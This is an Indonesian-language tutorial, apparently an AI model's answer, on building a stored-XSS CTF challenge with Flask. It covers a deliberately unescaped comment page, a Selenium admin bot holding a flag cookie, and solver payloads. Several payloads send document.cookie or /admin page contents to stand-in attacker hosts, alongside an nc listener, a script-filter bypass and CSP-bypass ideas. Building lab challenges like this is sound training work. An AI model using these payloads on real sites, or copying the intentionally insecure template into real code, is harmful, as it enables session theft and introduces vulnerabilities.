

Berikut contoh membuat challenge XSS sendiri untuk CTF Jeopardy menggunakan Flask.

Kita akan buat:

- website vulnerable
 - admin bot
 - flag
 - tujuan challenge
 - cara deploy lokal
-

Konsep Challenge

Cerita

Admin memiliki cookie rahasia:

FLAG=CTF{SUPER_SECRET_FLAG}

Peserta dapat mengirim komentar.

Admin bot akan membuka komentar tersebut.

Jika peserta berhasil melakukan XSS:

- cookie admin bisa dicuri
 - flag didapat
-

Struktur Challenge

xss-challenge/

|

├─ app.py

├─ bot.py

├─ templates/

| └─ index.html

└─ comments.txt

1. Install Dependency

pip install flask selenium

Install browser driver:

- ChromeDriver
 - atau Firefox GeckoDriver
-

2. Vulnerable Web App

File app.py

```
from flask import Flask, request, render_template, redirect
import os
```

```
app = Flask(__name__)
```

```
COMMENTS_FILE = "comments.txt"
```

```
if not os.path.exists(COMMENTS_FILE):
```

```
    open(COMMENTS_FILE, "w").close()
```

```
@app.route("/", methods=["GET", "POST"])
```

```
def index():
```

```
    if request.method == "POST":
```

```
        comment = request.form.get("comment", "")
```

```
        with open(COMMENTS_FILE, "a", encoding="utf-8") as f:
```

```
            f.write(comment + "\n")
```

```
        return redirect("/")
```

```
with open(COMMENTS_FILE, "r", encoding="utf-8") as f:
    comments = f.readlines()

return render_template("index.html", comments=comments)

if __name__ == "__main__":
    app.run(debug=True)
```

3. HTML Vulnerable

File templates/index.html

```
<!DOCTYPE html>

<html>

<head>
    <title>XSS Challenge</title>
</head>
<body>

<h1>XSS Challenge</h1>

<form method="POST">
    <input type="text" name="comment">
    <button type="submit">Send</button>
</form>

<hr>

{% for c in comments %}
<div>
```

```
{{ c | safe }}
```

```
</div>
```

```
{% endfor %}
```

```
</body>
```

```
</html>
```

Kenapa Vulnerable?

Bagian ini:

```
{{ c | safe }}
```

mematikan escaping HTML.

Payload seperti:

```
<script>alert(1)</script>
```

akan dijalankan browser.

4. Admin Bot

File bot.py

```
from selenium import webdriver
```

```
from selenium.webdriver.chrome.options import Options
```

```
import time
```

```
URL = "http://127.0.0.1:5000"
```

```
options = Options()
```

```
options.add_argument("--headless")
```

```
driver = webdriver.Chrome(options=options)
```

```
# Set cookie flag
driver.get(URL)

driver.add_cookie({
    "name": "FLAG",
    "value": "CTF{XSS_ADMIN_COOKIE}"
})

# Admin membuka website
driver.get(URL)

time.sleep(10)

driver.quit()
```

Cara Kerja

Bot:

1. membuka website
 2. memasang cookie FLAG
 3. membuka halaman challenge
 4. semua JavaScript peserta dijalankan
-

5. Jalankan Challenge

Terminal 1:

```
python app.py
```

Terminal 2:

```
python bot.py
```

6. Payload Solver

Peserta bisa submit:

```
<script>
fetch("http://ATTACKER_IP:8000/?c="+document.cookie)
</script>
```

7. Menangkap Cookie

Di mesin attacker:

```
python -m http.server 8000
```

atau:

```
nc -lvnp 8000
```

Saat Bot Membuka Halaman

Request masuk:

```
/?c=FLAG=CTF{XSS_ADMIN_COOKIE}
```

Flag berhasil dicuri.

Membuat Lebih Realistis

Tambahkan Endpoint Report

Peserta submit URL ke admin.

Tambah Route

Di app.py:

```
@app.route("/report")
def report():
    return "Admin will check your payload"
```

Versi Lebih Sulit

1. Filter <script>

```
comment = comment.replace("<script>", "")
```

Peserta harus bypass.

Payload Bypass

```
<img src=x onerror=alert(1)>
```

2. HttpOnly Cookie

Cookie tidak bisa dibaca document.cookie.

Sebagai gantinya:

- flag ada di /admin
- hanya admin yang bisa akses

Peserta harus:

```
fetch('/admin')
```

```
.then(r=>r.text())
```

```
.then(x=>fetch('http://attacker.com/?d='+btoa(x)))
```

3. CSP Bypass

Tambahkan header:

```
@app.after_request
```

```
def add_csp(response):
```

```
    response.headers['Content-Security-Policy'] = "script-src 'self'"
```

```
    return response
```

Peserta harus cari bypass:

- event handler
- JSONP
- nonce reuse
- dll

4. Blind XSS

Payload tidak langsung terlihat.

Admin membuka panel lain.

Peserta hanya tahu berhasil jika callback masuk.

Ide Challenge CTF XSS

Easy

- reflected XSS
- tanpa filter

Medium

- stored XSS
- admin bot

Hard

- CSP
 - sanitasi sebagian
 - DOMPurify bypass
 - sandbox iframe
 - Angular/Vue template injection
-

Contoh Flag Placement

Cookie

FLAG=CTF{XSS_WIN}

Hidden Admin Page

```
@app.route("/admin")
```

```
def admin():
```

```
    return "CTF{TOP_SECRET}"
```

Contoh Payload Penting

Alert

```
<script>alert(1)</script>
```

Cookie Theft

```
<script>  
new Image().src='http://attacker/?c='+document.cookie  
</script>
```

Fetch Flag

```
<script>  
fetch('/admin')  
.then(r=>r.text())  
.then(d=>{  
  fetch('http://attacker/?x='+btoa(d))  
})  
</script>
```

Tips Membuat Challenge Bagus

- Jangan terlalu mudah
 - Jangan impossible
 - Tambahkan petunjuk kecil
 - Gunakan Docker
 - Reset otomatis
 - Gunakan admin bot headless
-

Upgrade Berikutnya

Kalau mau, saya juga bisa bantu membuat:

- versi Docker
- versi Docker Compose
- admin bot otomatis
- scoreboard-ready challenge
- challenge XSS hard
- DOM XSS challenge
- CSP bypass challenge
- Blind XSS lab
- full source code ZIP style
- deploy ke VPS
- challenge dengan database SQLite
- challenge mirip HTB / PicoCTF / WebHacking.kr